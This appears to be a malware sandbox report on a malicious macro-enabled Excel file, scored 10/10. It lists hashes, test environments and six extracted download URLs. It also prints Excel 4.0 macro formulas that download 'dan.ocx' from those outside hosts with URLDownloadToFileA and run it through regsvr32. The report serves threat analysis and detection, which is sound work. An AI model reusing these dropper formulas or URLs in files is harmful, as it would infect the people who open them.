General
-
Target
a432b0bc1fd4f1db68bbece4041a0ad68535a736564d1b5801406d0f58424fec
-
Size
40KB
-
Sample
241111-vj7blasbmp
-
MD5
3dc9db789e47f59042af6fe4e5fda17d
-
SHA1
8d8f39571e2b37a44ce265b7cdf419336c80e5cd
-
SHA256
a432b0bc1fd4f1db68bbece4041a0ad68535a736564d1b5801406d0f58424fec
-
SHA512
ea54fb52e2ddc91458fcb83fbd51acfaab94aa08343159c6b1f8cb8d204dbbfbe2a5fc9af88e7f4414f7d309aad2f9fba89b64844a3f9489645aaa57a5d560af
-
SSDEEP
768:i9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:i9oms7tylND59V4jwmXc2RVfW+
Behavioral task
behavioral1
Sample
a432b0bc1fd4f1db68bbece4041a0ad68535a736564d1b5801406d0f58424fec.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a432b0bc1fd4f1db68bbece4041a0ad68535a736564d1b5801406d0f58424fec.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/
https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/
https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/
https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/
https://axial-ing.fr/old/98WgLPFy5u2Xf/
https://luape.es/wp-admin/moJpURVz/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://axial-ing.fr/old/98WgLPFy5u2Xf/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://luape.es/wp-admin/moJpURVz/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()
Extracted
https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/
https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/
https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/
https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/
https://axial-ing.fr/old/98WgLPFy5u2Xf/
https://luape.es/wp-admin/moJpURVz/
Targets
-
-
Target
a432b0bc1fd4f1db68bbece4041a0ad68535a736564d1b5801406d0f58424fec
-
Size
40KB
-
MD5
3dc9db789e47f59042af6fe4e5fda17d
-
SHA1
8d8f39571e2b37a44ce265b7cdf419336c80e5cd
-
SHA256
a432b0bc1fd4f1db68bbece4041a0ad68535a736564d1b5801406d0f58424fec
-
SHA512
ea54fb52e2ddc91458fcb83fbd51acfaab94aa08343159c6b1f8cb8d204dbbfbe2a5fc9af88e7f4414f7d309aad2f9fba89b64844a3f9489645aaa57a5d560af
-
SSDEEP
768:i9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:i9oms7tylND59V4jwmXc2RVfW+
Score10/10 -